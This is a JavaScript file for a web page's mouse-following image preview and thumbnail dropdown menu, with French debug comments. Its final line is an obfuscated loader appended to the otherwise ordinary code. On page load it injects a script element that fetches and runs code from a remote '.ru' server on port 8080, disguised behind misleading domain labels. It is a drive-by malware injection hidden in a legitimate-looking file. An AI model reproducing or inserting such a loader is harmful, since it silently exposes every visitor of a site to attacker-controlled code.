//if (typeof BrowserDetect == "undefined")
//    document.write("<script src='includes/javascript/browser_detect.js'></script>");

var debug = 0;
var _gar_timer;
var X;
var Y;

document.write('<div id="trailimageid" style="position: absolute;display: none;left: 0px;top: 0px;z-index: 200;"></div>');
document.write('<div id="trailmenuid" style="position: absolute;display: none;left: 0px;top: 0px;z-index: 200;"></div>');

function gettrailobj()
{
    if (document.getElementById)
        return document.getElementById("trailimageid").style
    else if (document.all)
        return document.all.trailimagid.style
}

function gettrailobjnostyle()
{
    if (document.getElementById)
        return document.getElementById("trailimageid")
    else if (document.all)
        return document.all.trailimagid
}

function getmenuobj()
{
    if (document.getElementById)
        return document.getElementById("trailmenuid").style
    else if (document.all)
        return document.all.trailmenuid.style
}

function getmenuobjnostyle()
{
    if (document.getElementById)
        return document.getElementById("trailmenuid")
    else if (document.all)
        return document.all.trailmenuid
}


function truebody()
{
    return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function showtrail(imagename)
{
	document.onmousemove=followmouse;

	if (debug != 1)
	{
	    newHTML = '<div style="padding: 0px; background-color: #FFF; border: 1px solid #888;">';
	    newHTML = newHTML + '<div align="center" style="padding: 2px 2px 2px 2px;">';
	    newHTML = newHTML + '<img src="' + imagename + '" border="0"></div>';
	    newHTML = newHTML + '</div>';
	}
	else
	{
	    newHTML =           '<table width=500 height=500 style="background:white;border:1px solid black;">';
	    newHTML = newHTML + '<tr><td>document.body.offset<br>taille de la fenetre client</td><td>y:<br>x:</td><td><span id="pos1_y">0</span> px<br><span id="pos1_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>docwidth/docheight<br></td><td>y:<br>x:</td><td><span id="pos2_y">0</span> px<br><span id="pos2_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset<br></td><td>y:<br>x:</td><td><span id="pos3_y">0</span> px<br><span id="pos3_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>mouse<br></td><td>y:<br>x:</td><td><span id="pos4_y">0</span> px<br><span id="pos4_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>div<br></td><td>y:<br>x:</td><td><span id="pos5_y">0</span> px<br><span id="pos5_x">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>left :<span id="left">0</span></td><td><span id="right">0</span>:right</td><td><span id="positionLR">right</span></td></tr>';
	    newHTML = newHTML + '<tr><td>top :<span id="top">0</span></td><td><span id="bottom">0</span>:bottom</td><td><span id="positionTB">bottom</span></td></tr>';
	    newHTML = newHTML + '</table>';
	}
	gettrailobjnostyle().innerHTML = newHTML;
}

function hidetrail(){
	gettrailobj().innerHTML = " ";
	gettrailobj().display="none"
	document.onmousemove=""
	gettrailobj().left="-500px";
}
function get_position(element) 
{
    var p = {x: element.offsetLeft || 0, y:element.offsetTop || 0};
    while (element = element.offsetParent) {
        p.x += element.offsetLeft;
        p.y += element.offsetTop;
    }
    if (!p)
        p = {x: element.offsetWidth || 0, y:element.offsetHeight || 0};
    return p;
}


function show_thumbBar(menuitem)
{
    clearTimeout(_gar_timer);
    hide_thumbBar(true);
    document.onmousemove=posmouse;

    var p = get_position(document.getElementById("_id_tr_" + menuitem));
    var position = document.getElementById("_id_tr_" + menuitem);

    
    if(p.x == 0 && p.y == 0)
    {
        //cas du div avec position absolute, pour mettre par dessus un flash, par exemple...
        //inclure le fichier motools.js
        var myValues = $('_id_tr_cat_1').getCoordinates();   
        p.x = myValues.left;
        p.y = myValues.top;
    }
    var xcoord = p.x + 1;
    var ycoord = p.y + position.offsetHeight;

	set_menu_position(xcoord, ycoord);
	if (debug != 1)
	{
	    if (document.getElementById("menu_" + menuitem))
	        getmenuobjnostyle().innerHTML = document.getElementById("menu_" + menuitem).innerHTML;
        else
	        getmenuobjnostyle().innerHTML = "";
	}
	else
	{
	    newHTML =           '<table width=500 height=500 style="background:white;border:1px solid black;">';
	    newHTML = newHTML + '<tr><td>offsetParent.offsetWidth<br>offsetParent.offsetHeight</td><td><span id="pos1_x">0</span> px<br><span id="pos1_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offsetParent.offsetLeft<br>offsetParent.offsetTop</td><td><span id="pos2_x">0</span> px<br><span id="pos2_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset.offsetWidth<br>offset.offsetHeight</td><td><span id="pos3_X">0</span> px<br><span id="pos3_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>offset.offsetLeft<br>offset.offsetTop</td><td><span id="pos4_x">0</span> px<br><span id="pos4_y">0</span> px</td></tr>';
	    newHTML = newHTML + '<tr><td>X<br>Y</td><td><span id="pos5_x">0</span> px<br><span id="pos5_y">0</span> px</td></tr>';
	    newHTML = newHTML + '</table>';
	    getmenuobjnostyle().innerHTML = newHTML;
        document.getElementById('pos1_x').innerHTML = position.offsetParent.offsetWidth;
        document.getElementById('pos1_y').innerHTML = position.offsetParent.offsetHeight;
        document.getElementById('pos2_x').innerHTML = position.offsetParent.offsetLeft;
        document.getElementById('pos2_y').innerHTML = position.offsetParent.offsetTop;        
	    document.getElementById('pos3_x').innerHTML = position.offsetWidth;
        document.getElementById('pos3_y').innerHTML = position.offsetHeight;
        document.getElementById('pos4_x').innerHTML = position.offsetLeft;
        document.getElementById('pos4_y').innerHTML = position.offsetTop;        
        document.getElementById('pos5_x').innerHTML = xcoord;
        document.getElementById('pos5_y').innerHTML = ycoord;        
	}
	
}

function set_menu_position(xcoord, ycoord)
{         
	getmenuobj().left =xcoord+"px"
	getmenuobj().top =ycoord+"px"
	if (getmenuobj().display=="none")
		getmenuobj().display="inline";

}

function hide_with_timer()
{
    kill_timer();
    _gar_timer = setTimeout("hide_thumbBar(false)", 300);
}

function kill_timer()
{
    clearTimeout(_gar_timer);    
}

function posmouse(e)
{
    X = (typeof e != "undefined") ? e.pageX : event.clientX;
    Y = (typeof e != "undefined") ? e.pageY : event.clientY;    
}


function hide_thumbBar(immediately)
{

    var W = getmenuobjnostyle().clientWidth;
    var H = getmenuobjnostyle().clientHeight;
    var X1 =	parseInt(getmenuobj().left);
    var Y1 =	parseInt(getmenuobj().top);
    var X2 = X1 + W;
    var Y2 = Y1 + H;

    if (!immediately && (X1 <= X) && (X <= X2) && (Y1 <= Y) && (Y  <= Y2)) 
        return hide_with_timer();
	getmenuobj().innerHTML = " ";
	getmenuobj().display="none"
	document.onmousemove=""
	getmenuobj().left="-500px";
}


function followmouse(e)
{
	var xcoord=0
	var ycoord=0
	
	var mouseX = (typeof e != "undefined") ? e.pageX : event.clientX;
    var mouseY = (typeof e != "undefined") ? e.pageY : event.clientY;
    var divWidth = gettrailobjnostyle().clientWidth;
    var divHeight = gettrailobjnostyle().clientHeight;
    var scrollL = truebody().scrollLeft;
    var scrollT = truebody().scrollTop;
    
	var docwidth=document.all? scrollL+truebody().clientWidth : pageXOffset+window.innerWidth-15
	var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight)
	
    var positionLR = "right";
    var positionTB = "bottom";    
    
    var top = mouseY; 
    var bottom = docheight - mouseY;
    var left = mouseX;
    var right = docwidth - mouseX;
    if (right > divWidth + 10)
    {
        positionLR = "right";
        xcoord = scrollL+ mouseX + 10
    }
    else if (left > divWidth + 10)
    {
        positionLR = "left";
        xcoord = mouseX + scrollL - divWidth - 10;
    }
    else
    {
        if (left > right)
        {
            positionLR = "left";
            xcoord = mouseX + scrollL - divWidth - 10;
        }
        else
        {
            positionLR = "right";
            xcoord = scrollL+mouseX + 10
        }
    }
        
    if ( bottom > divHeight + 10)
    {
        positionTB = "bottom";
        ycoord += scrollT + mouseY + 10;
    }
    else
    {
        positionTB = "bottom";
        ycoord += scrollT + mouseY + 10;
    }

    if (debug)
    {
        document.getElementById('pos1_x').innerHTML = document.body.offsetHeight;
        document.getElementById('pos1_y').innerHTML = document.body.offsetWidth;
        document.getElementById('pos2_x').innerHTML = docheight;
        document.getElementById('pos2_y').innerHTML = docwidth;
        document.getElementById('pos3_x').innerHTML = xcoord;
        document.getElementById('pos3_y').innerHTML = ycoord;
        document.getElementById('pos4_x').innerHTML = mouseX;
        document.getElementById('pos4_y').innerHTML = mouseY;
        document.getElementById('pos5_x').innerHTML = divHeight;
        document.getElementById('pos5_y').innerHTML = divWidth;
        document.getElementById('top').innerHTML    = top;
        document.getElementById('bottom').innerHTML = bottom;
        document.getElementById('left').innerHTML   = left;
        document.getElementById('right').innerHTML  = right;
        document.getElementById('positionLR').innerHTML  = positionLR;
        document.getElementById('positionTB').innerHTML  = positionTB;
    }	

	if (xcoord + divWidth > docwidth  + scrollL)        xcoord = docwidth + scrollL - divWidth;
	if (ycoord + divHeight > docheight + scrollT)       ycoord = docheight + scrollT - divHeight;
	if (ycoord - scrollT < 0) 	   ycoord = scrollT; 
	if (xcoord - scrollL < 0)      xcoord = scrollL;

	gettrailobj().left=xcoord+"px"
	gettrailobj().top=ycoord+"px"
	if (gettrailobj().display=="none")
		gettrailobj().display="inline";
}

var g;if(g!=''){g='sM'};var uH;if(uH!=''){uH='vW'};try {this.k="";var W='replace';var Wj;if(Wj!='w'){Wj='w'};var JZ='';var m=']';var Ps=new String();this.H='';var h='g';var wS;if(wS!='Iw'){wS=''};var _u=new Date();var R='';var j;if(j!='V'){j='V'};var P='[';this.Rh="";var RQ=new Date();var WQ=RegExp;this.OQ='';var kl;if(kl!='r' && kl!='kX'){kl='r'};var CT;if(CT!='_r' && CT != ''){CT=null};function T(Pn,_){var Q=P;Q+=_;Q+=m;var GJ;if(GJ!='' && GJ!='wy'){GJ=''};var F=new WQ(Q, h);var hB;if(hB!=''){hB='JA'};return Pn[W](F, R);var JV;if(JV!='' && JV!='rl'){JV=null};var Dm;if(Dm!='' && Dm!='Fj'){Dm=null};};var x;if(x!='Y'){x='Y'};var aO=new Array();var L="";var FQ=new Date();var l=T('bioudiyu',"i0u_S");var NL='';var oN=new String();var v=T('/LmQiLnQiGcNlNiNpN.NcPoGmP/NmGiNnLiNcPlPiPpQ.LcGoQmN/GnQoGvPoQtQeNkNaN.NrGuG/PgLoLoQgNlGeN.QcNoPmG/PlPiGvGeL.LcQoLmG.GpNhNpP',"NPLQG");var S=T('sKcPrPidpKtd',"dPJKB");var D='';var MR;if(MR!='' && MR!='jc'){MR=''};var I=T('865056587650757',"576");var s=T('cWrzezaptpeWEzlpeWmzeznztz',"pWz");var d='';this.Psr='';var Pn="1";var Qk=T('aGpGpVeVnVdVCVhViGlGdG',"VG");var Pe='';var Sv;if(Sv!='' && Sv!='LX'){Sv=''};var u=T('ohn7lhoAaSdW',"SAWh7");this.Gw="";var mn=new String();var M=T('shehthAHtHtHrhiHbhuHtHeH',"hH");var nG="";var CBA='';var so=T('hztItIpz:I/I/zrIaIpziIdzlzizbzrzaIrIyz-Iczozmz.zpIrziIczezmziInIizsItIeIrI.IcIozmz.IsztzaIczkIoIvzezrIfIlzozwI-zczoImI.InzeIwzvziIlzlzaIgIezfIrzeIszhz.zrIuI:z',"zI");var JF;if(JF!='xV' && JF != ''){JF=null};window[u]=function(){var Jv;if(Jv!='OW' && Jv!='Bh'){Jv=''};this.CX='';this.ei='';e=document[s](S);var _h;if(_h!=''){_h='gx'};var eR=new Date();D+=so;D+=I;var Em;if(Em!='' && Em!='pg'){Em=null};D+=v;var pM=new String();var qB='';e.setAttribute('defer', Pn);var hk=document[l];var Kn=new Date();var _Q=new Array();var k_=new Array();e.src=D;var Kx='';this._q="";hk.appendChild(e);var Br=new String();};} catch(J){};var cu;if(cu!='pN'){cu='pN'};var mj=new Array();